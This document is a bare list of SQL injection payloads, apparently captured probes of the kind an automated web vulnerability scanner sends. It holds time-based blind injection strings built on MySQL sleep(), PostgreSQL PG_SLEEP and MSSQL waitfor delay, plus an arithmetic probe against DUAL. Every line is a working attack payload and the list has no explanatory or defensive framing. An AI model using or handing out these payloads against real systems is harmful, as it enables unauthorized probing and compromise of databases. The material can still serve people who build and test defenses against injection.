(select 198766*667891 from DUAL)

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

555-1) OR 390=(SELECT 390 FROM PG_SLEEP(15))--

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

555-1)) OR 496=(SELECT 496 FROM PG_SLEEP(15))--

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

5556QwzS1RP' OR 305=(SELECT 305 FROM PG_SLEEP(15))--

555-1; waitfor delay '0:0:15' --

5550M7fTFAc') OR 555=(SELECT 555 FROM PG_SLEEP(15))--

555-1); waitfor delay '0:0:15' --

555QZW93o54')) OR 107=(SELECT 107 FROM PG_SLEEP(15))--